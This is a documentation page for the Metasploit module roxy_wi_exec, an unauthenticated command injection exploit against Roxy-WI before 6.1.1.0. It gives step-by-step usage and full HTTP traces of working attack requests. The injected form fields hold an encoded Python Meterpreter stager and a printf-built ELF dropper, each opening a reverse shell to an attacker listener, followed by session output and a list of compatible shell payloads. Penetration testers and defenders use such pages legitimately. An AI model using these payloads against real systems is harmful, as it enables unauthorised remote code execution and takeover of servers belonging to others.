Roxy-WI Prior to 6.1.1.0 Unauthenticated Command Injection RCE - Metasploit
This page contains detailed information about how to use the exploit/linux/http/roxy_wi_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Roxy-WI Prior to 6.1.1.0 Unauthenticated Command Injection RCE
Module: exploit/linux/http/roxy_wi_exec
Source code: modules/exploits/linux/http/roxy_wi_exec.rb
Disclosure date: 2022-07-06
Last modification time: 2022-07-25 13:05:04 +0000
Supported architecture(s): cmd, x86, x64
Supported platform(s): Linux, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2022-3113, CVE-2022-31137
This module exploits an unauthenticated command injection vulnerability in Roxy-WI prior to version 6.1.1.0. Successful exploitation results in remote code execution under the context of the web server user. Roxy-WI is an interface for managing HAProxy, Nginx and Keepalived servers.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
msf > use exploit/linux/http/roxy_wi_exec
msf exploit(roxy_wi_exec) > exploit
Required Options
- RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
Knowledge Base
Vulnerable Application
This module exploits an unauthenticated command injection vulnerability in Roxy-WI prior to version 6.1.1.0. Successful exploitation results in remote code execution under the context of the web server user.
Roxy-WI is an interface for managing HAProxy, Nginx and Keepalived servers.
Setup
Roxy-WI requires Python and a web server to run. Please visit following url to find out required python and other packages.
First grab a vulnerable copy of the code from the release pages at https://github.com/hap-wi/roxy-wi/releases. You will likely want to grab version 6.1.0.0 from https://github.com/hap-wi/roxy-wi/archive/refs/tags/v6.1.0.0.tar.gz
Next follow the installation instructions at https://roxy-wi.org/installation.py#manual and be sure to replace apache
with www-data where applicable if your using Debian or Ubuntu (they call this out in their instructions however
it can be a bit hard to find which is why I'm noting it here).
Once you are done you should have a working copy of Roxy-Wi. Note that for some reason the login page didn't work for me in testing, however everything needed to test this module should be set up and operating as expected.
Verification Steps
- Install the application
- Start msfconsole
- Do:
use exploit/linux/http/roxy_wi_exec - Set
RHOSTto the address of the target Roxy-WI machine. - Set
LHOSTto the address of your attacking machine. - Run
exploit - Do:
run - You should get a shell as the user running the Roxy-WI server.
Targets
0
This executes a Unix command.
1
This uses a Linux dropper to execute code.
Options
TARGETURI
The base path to Roxy-WI. The default value is /.
Scenarios
Roxy-WI 6.1.0.0 Ubuntu 22.04 GNU/Linux (x86_64) - Apache/2.4.52 / Python 3.10.4 / MySQL 8.0.29 With Unix In-Memory Target
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/linux/http/roxy_wi_exec
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/roxy_wi_exec) > show options
Module options (exploit/linux/http/roxy_wi_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:hos
t:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid
7/metasploit-framework/wiki/Using-Metasploit
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on
. This must be an address on the local machine o
r 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is ran
domly generated)
TARGETURI / yes The URI of the vulnerable instance
URIPATH no The URI to use for this exploit (default is rand
om)
VHOST no HTTP server virtual host
Payload options (cmd/unix/python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.22.230.145 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix (In-Memory)
msf6 exploit(linux/http/roxy_wi_exec) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf6 exploit(linux/http/roxy_wi_exec) > set HttpTrace true
HttpTrace => true
msf6 exploit(linux/http/roxy_wi_exec) > run
[*] Started reverse TCP handler on 172.22.230.145:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 127.0.0.1:443 is vulnerable!
####################
# Request:
####################
POST /app/options.py HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
serv=127.0.0.1&ipbackend=%22%3b%20id%20%3b%23&alert_consumer=iufmgha&backend_server=127.0.0.1
####################
# Response:
####################
HTTP/1.1 200 OK
Date: Mon, 25 Jul 2022 18:46:55 GMT
Server: Apache/2.4.52 (Ubuntu)
Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
<center><div class="alert alert-danger">Check the config file. Presence section configs and parameter haproxy_save_configs_dir</div>
Content-type: text/html
<center><div class="alert alert-danger">Check the config file. Presence section mysql and parameter enable</div>
Content-type: text/html
<center><div class="alert alert-danger">Check the config file. Presence section mysql and parameter enable</div>
Content-type: text/html
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] 127.0.0.1:443 is vulnerable!
[+] The target is vulnerable. The device responded to exploitation with a 200 OK and test command successfully executed.
[*] Exploiting...
####################
# Request:
####################
POST /app/options.py HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Content-Length: 760
serv=127.0.0.1&ipbackend=%22%3b%20echo%20exec\%28__import__\%28\%27base64\%27\%29.b64decode\%28__import__\%28\%27codecs\%27\%29.getencoder\%28\%27utf-8\%27\%29\%28\%27aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE3Mi4yMi4yMzAuMTQ1Jyw0NDQ0KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc%2bSScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyh6bGliLmRlY29tcHJlc3MoYmFzZTY0LmI2NGRlY29kZShkKSkseydzJzpzfSkK\%27\%29\%5b0\%5d\%29\%29%20%7c%20exec%20%24%28which%20python%20%7c%7c%20which%20python3%20%7c%7c%20which%20python2%29%20-%20%3b%23&alert_consumer=gumovpt&backend_server=127.0.0.1
[*] Sending stage (40164 bytes) to 172.22.230.145
[*] Meterpreter session 1 opened (172.22.230.145:4444 -> 172.22.230.145:41506) at 2022-07-25 13:46:56 -0500
####################
# Response:
####################
No response received
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : gwillcox-Virtual-Machine
OS : Linux 5.15.0-41-generic #44-Ubuntu SMP Wed Jun 22 14:20:53 UTC 2022
Architecture : x64
Meterpreter : python/linux
meterpreter > pwd
/var/www/haproxy-wi/app
meterpreter > ls
Listing: /var/www/haproxy-wi/app
================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100664/rw-rw-r-- 83 fil 2022-06-30 02:43:57 -0500 .htaccess
040755/rwxr-xr-x 4096 dir 2022-07-25 13:36:33 -0500 __pycache__
100775/rwxrwxr-x 12822 fil 2022-06-30 02:43:57 -0500 add.py
040775/rwxrwxr-x 4096 dir 2022-06-30 02:43:57 -0500 certs
100775/rwxrwxr-x 4745 fil 2022-06-30 02:43:57 -0500 config.py
100775/rwxrwxr-x 33194 fil 2022-06-30 02:43:57 -0500 create_db.py
100775/rwxrwxr-x 14945 fil 2022-06-30 02:43:57 -0500 db_model.py
100775/rwxrwxr-x 64688 fil 2022-06-30 02:43:57 -0500 funct.py
100775/rwxrwxr-x 913 fil 2022-06-30 02:43:57 -0500 ha.py
100775/rwxrwxr-x 8544 fil 2022-06-30 02:43:57 -0500 hapservers.py
100775/rwxrwxr-x 3008 fil 2022-06-30 02:43:57 -0500 history.py
100775/rwxrwxr-x 7145 fil 2022-06-30 02:43:57 -0500 login.py
100775/rwxrwxr-x 1696 fil 2022-06-30 02:43:57 -0500 logs.py
100775/rwxrwxr-x 1598 fil 2022-06-30 02:43:57 -0500 metrics.py
100775/rwxrwxr-x 966 fil 2022-06-30 02:43:57 -0500 nettools.py
100775/rwxrwxr-x 181104 fil 2022-06-30 02:43:57 -0500 options.py
100775/rwxrwxr-x 4096 fil 2022-06-30 02:43:57 -0500 overview.py
100775/rwxrwxr-x 1884 fil 2022-06-30 02:43:57 -0500 portscanner.py
100775/rwxrwxr-x 1125 fil 2022-06-30 02:43:57 -0500 provisioning.py
100644/rw-r--r-- 274432 fil 2022-07-25 13:41:13 -0500 roxy-wi.db
100775/rwxrwxr-x 750 fil 2022-06-30 02:43:57 -0500 runtimeapi.py
040775/rwxrwxr-x 4096 dir 2022-06-30 02:43:57 -0500 scripts
100775/rwxrwxr-x 2486 fil 2022-06-30 02:43:57 -0500 sections.py
100775/rwxrwxr-x 1580 fil 2022-06-30 02:43:57 -0500 servers.py
100775/rwxrwxr-x 1826 fil 2022-06-30 02:43:57 -0500 smon.py
100775/rwxrwxr-x 103924 fil 2022-06-30 02:43:57 -0500 sql.py
040775/rwxrwxr-x 4096 dir 2022-06-30 02:43:57 -0500 templates
100775/rwxrwxr-x 1361 fil 2022-06-30 02:43:57 -0500 users.py
100775/rwxrwxr-x 4150 fil 2022-06-30 02:43:57 -0500 versions.py
100775/rwxrwxr-x 2076 fil 2022-06-30 02:43:57 -0500 viewlogs.py
100775/rwxrwxr-x 1150 fil 2022-06-30 02:43:57 -0500 viewsttats.py
100775/rwxrwxr-x 1819 fil 2022-06-30 02:43:57 -0500 waf.py
meterpreter >
Roxy-WI 6.1.0.0 Ubuntu 22.04 GNU/Linux (x86_64) - Apache/2.4.52 / Python 3.10.4 / MySQL 8.0.29 With Linux Dropper Target
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/linux/http/roxy_wi_exec
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/roxy_wi_exec) > show options
Module options (exploit/linux/http/roxy_wi_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:hos
t:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid
7/metasploit-framework/wiki/Using-Metasploit
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on
. This must be an address on the local machine o
r 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is ran
domly generated)
TARGETURI / yes The URI of the vulnerable instance
URIPATH no The URI to use for this exploit (default is rand
om)
VHOST no HTTP server virtual host
Payload options (cmd/unix/python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.22.230.145 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix (In-Memory)
msf6 exploit(linux/http/roxy_wi_exec) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf6 exploit(linux/http/roxy_wi_exec) > set HttpTrace true
HttpTrace => true
msf6 exploit(linux/http/roxy_wi_exec) > set Target 1
Target => 1
msf6 exploit(linux/http/roxy_wi_exec) > set payload linux/x64/shell/reverse_tcp
payload => linux/x64/shell/reverse_tcp
msf6 exploit(linux/http/roxy_wi_exec) > show options
Module options (exploit/linux/http/roxy_wi_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:hos
t:port][...]
RHOSTS 127.0.0.1 yes The target host(s), see https://github.com/rapid
7/metasploit-framework/wiki/Using-Metasploit
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on
. This must be an address on the local machine o
r 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is ran
domly generated)
TARGETURI / yes The URI of the vulnerable instance
URIPATH no The URI to use for this exploit (default is rand
om)
VHOST no HTTP server virtual host
Payload options (linux/x64/shell/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.22.230.145 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Linux (Dropper)
msf6 exploit(linux/http/roxy_wi_exec) > run
[*] Started reverse TCP handler on 172.22.230.145:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 127.0.0.1:443 is vulnerable!
####################
# Request:
####################
POST /app/options.py HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
serv=127.0.0.1&ipbackend=%22%3b%20id%20%3b%23&alert_consumer=oodqhqe&backend_server=127.0.0.1
####################
# Response:
####################
HTTP/1.1 200 OK
Date: Mon, 25 Jul 2022 19:07:53 GMT
Server: Apache/2.4.52 (Ubuntu)
Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
<center><div class="alert alert-danger">Check the config file. Presence section configs and parameter haproxy_save_configs_dir</div>
Content-type: text/html
<center><div class="alert alert-danger">Check the config file. Presence section mysql and parameter enable</div>
Content-type: text/html
<center><div class="alert alert-danger">Check the config file. Presence section mysql and parameter enable</div>
Content-type: text/html
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] 127.0.0.1:443 is vulnerable!
[+] The target is vulnerable. The device responded to exploitation with a 200 OK and test command successfully executed.
[*] Exploiting...
####################
# Request:
####################
POST /app/options.py HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Content-Length: 939
serv=127.0.0.1&ipbackend=%22%3b%20printf%20%27\177\105\114\106\2\1\1\0\0\0\0\0\0\0\0\0\2\0\76\0\1\0\0\0\170\0\100\0\0\0\0\0\100\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\100\0\70\0\1\0\0\0\0\0\0\0\1\0\0\0\7\0\0\0\0\0\0\0\0\0\0\0\0\0\100\0\0\0\0\0\0\0\100\0\0\0\0\0\372\0\0\0\0\0\0\0\174\1\0\0\0\0\0\0\0\20\0\0\0\0\0\0\110\61\377\152\11\130\231\266\20\110\211\326\115\61\311\152\42\101\132\262\7\17\5\110\205\300\170\121\152\12\101\131\120\152\51\130\231\152\2\137\152\1\136\17\5\110\205\300\170\73\110\227\110\271\2\0\21\134\254\26\346\221\121\110\211\346\152\20\132\152\52\130\17\5\131\110\205\300\171\45\111\377\311\164\30\127\152\43\130\152\0\152\5\110\211\347\110\61\366\17\5\131\131\137\110\205\300\171\307\152\74\130\152\1\137\17\5\136\152\46\132\17\5\110\205\300\170\355\377\346%27%3e%3e/tmp/olXCy%20%3b%20chmod%20%2bx%20/tmp/olXCy%20%3b%20/tmp/olXCy%20%3b%20rm%20-f%20/tmp/olXCy%20%3b%23&alert_consumer=kvlkaqe&backend_server=127.0.0.1
[*] Sending stage (38 bytes) to 172.22.230.145
[*] Command shell session 2 opened (172.22.230.145:4444 -> 172.22.230.145:41508) at 2022-07-25 14:07:59 -0500
i####################
# Response:
####################
No response received
d[*] Command Stager progress - 100.00% done (810/810 bytes)
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
whoami
www-data
pwd
/var/www/haproxy-wi/app
ls
__pycache__
add.py
certs
config.py
create_db.py
db_model.py
funct.py
ha.py
hapservers.py
history.py
login.py
logs.py
metrics.py
nettools.py
options.py
overview.py
portscanner.py
provisioning.py
roxy-wi.db
runtimeapi.py
scripts
sections.py
servers.py
smon.py
sql.py
templates
users.py
versions.py
viewlogs.py
viewsttats.py
waf.py
Go back to menu.
Msfconsole Usage
Here is how the linux/http/roxy_wi_exec exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/roxy_wi_exec
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/roxy_wi_exec) > show info
Name: Roxy-WI Prior to 6.1.1.0 Unauthenticated Command Injection RCE
Module: exploit/linux/http/roxy_wi_exec
Platform: Unix, Linux
Arch: cmd, x86, x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2022-07-06
Provided by:
Nuri ��ilengir <[email protected]>
Module side effects:
ioc-in-logs
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Unix (In-Memory)
1 Linux (Dropper)
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0
to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The URI of the vulnerable instance
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits an unauthenticated command injection
vulnerability in Roxy-WI prior to version 6.1.1.0. Successful
exploitation results in remote code execution under the context of
the web server user. Roxy-WI is an interface for managing HAProxy,
Nginx and Keepalived servers.
References:
https://pentest.blog/advisory-roxywi-unauthenticated-remote-code-execution-cve-2022-3113/
https://github.com/hap-wi/roxy-wi/security/advisories/GHSA-53r2-mq99-f532
https://github.com/hap-wi/roxy-wi/commit/82666df1e60c45dd6aa533b01a392f015d32f755
https://nvd.nist.gov/vuln/detail/CVE-2022-31137
Module Options
This is a complete list of options available in the linux/http/roxy_wi_exec exploit:
msf6 exploit(linux/http/roxy_wi_exec) > show options
Module options (exploit/linux/http/roxy_wi_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.
0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The URI of the vulnerable instance
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (cmd/unix/python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.0.126 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix (In-Memory)
Advanced Options
Here is a complete list of advanced options supported by the linux/http/roxy_wi_exec exploit:
msf6 exploit(linux/http/roxy_wi_exec) > show advanced
Module advanced options (exploit/linux/http/roxy_wi_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, printf)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
CMDSTAGER::URIPATH no Payload URI path for supported stagers
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for
non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
ForceExploit false no Override check result
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerBindAddress no The specific IP address to bind to if different from SRVHOST
ListenerBindPort no The port to bind to if different from SRVPORT
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLServerNameIndication no SSL/TLS Server Name Indication (SNI)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are a
uto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1
.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/5.0 (Macintosh; Intel Mac OS no The User-Agent header to use for all requests
X 12.2; rv:97.0) Gecko/20100101 Firef
ox/97.0
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 25 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
HttpCookie no An optional value to use for the Cookie HTTP header
HttpHostHeader no An optional value to use for the Host HTTP header
HttpReferer no An optional value to use for the Referer HTTP header
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugBuild false no Enable debugging for the Python meterpreter
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://github.com/rapid7/metasploit-
framework/wiki/Meterpreter-Debugging-Meterpreter-Sessions
MeterpreterTryToFork true no Fork a new process if the functionality is available
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy
but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/roxy_wi_exec module can exploit:
msf6 exploit(linux/http/roxy_wi_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Unix (In-Memory)
1 Linux (Dropper)
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/roxy_wi_exec exploit:
msf6 exploit(linux/http/roxy_wi_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
3 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
4 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
5 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
6 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
7 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
8 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
9 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
10 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
11 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
12 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
13 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
14 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
15 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
16 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
17 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
18 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
19 payload/cmd/unix/python/meterpreter/bind_tcp normal No Python Exec, Python Meterpreter, Python Bind TCP Stager
20 payload/cmd/unix/python/meterpreter/bind_tcp_uuid normal No Python Exec, Python Meterpreter, Python Bind TCP Stager with UUID Support
21 payload/cmd/unix/python/meterpreter/reverse_http normal No Python Exec, Python Meterpreter, Python Reverse HTTP Stager
22 payload/cmd/unix/python/meterpreter/reverse_https normal No Python Exec, Python Meterpreter, Python Reverse HTTPS Stager
23 payload/cmd/unix/python/meterpreter/reverse_tcp normal No Python Exec, Python Meterpreter, Python Reverse TCP Stager
24 payload/cmd/unix/python/meterpreter/reverse_tcp_ssl normal No Python Exec, Python Meterpreter, Python Reverse TCP SSL Stager
25 payload/cmd/unix/python/meterpreter/reverse_tcp_uuid normal No Python Exec, Python Meterpreter, Python Reverse TCP Stager with UUID Support
26 payload/cmd/unix/python/meterpreter_bind_tcp normal No Python Exec, Python Meterpreter Shell, Bind TCP Inline
27 payload/cmd/unix/python/meterpreter_reverse_http normal No Python Exec, Python Meterpreter Shell, Reverse HTTP Inline
28 payload/cmd/unix/python/meterpreter_reverse_https normal No Python Exec, Python Meterpreter Shell, Reverse HTTPS Inline
29 payload/cmd/unix/python/meterpreter_reverse_tcp normal No Python Exec, Python Meterpreter Shell, Reverse TCP Inline
30 payload/cmd/unix/python/pingback_bind_tcp normal No Python Exec, Python Pingback, Bind TCP (via python)
31 payload/cmd/unix/python/pingback_reverse_tcp normal No Python Exec, Python Pingback, Reverse TCP (via python)
32 payload/cmd/unix/python/shell_bind_tcp normal No Python Exec, Command Shell, Bind TCP (via python)
33 payload/cmd/unix/python/shell_reverse_tcp normal No Python Exec, Command Shell, Reverse TCP (via python)
34 payload/cmd/unix/python/shell_reverse_tcp_ssl normal No Python Exec, Command Shell, Reverse TCP SSL (via python)
35 payload/cmd/unix/python/shell_reverse_udp normal No Python Exec, Command Shell, Reverse UDP (via python)
36 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
37 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
38 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
39 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
40 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
41 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
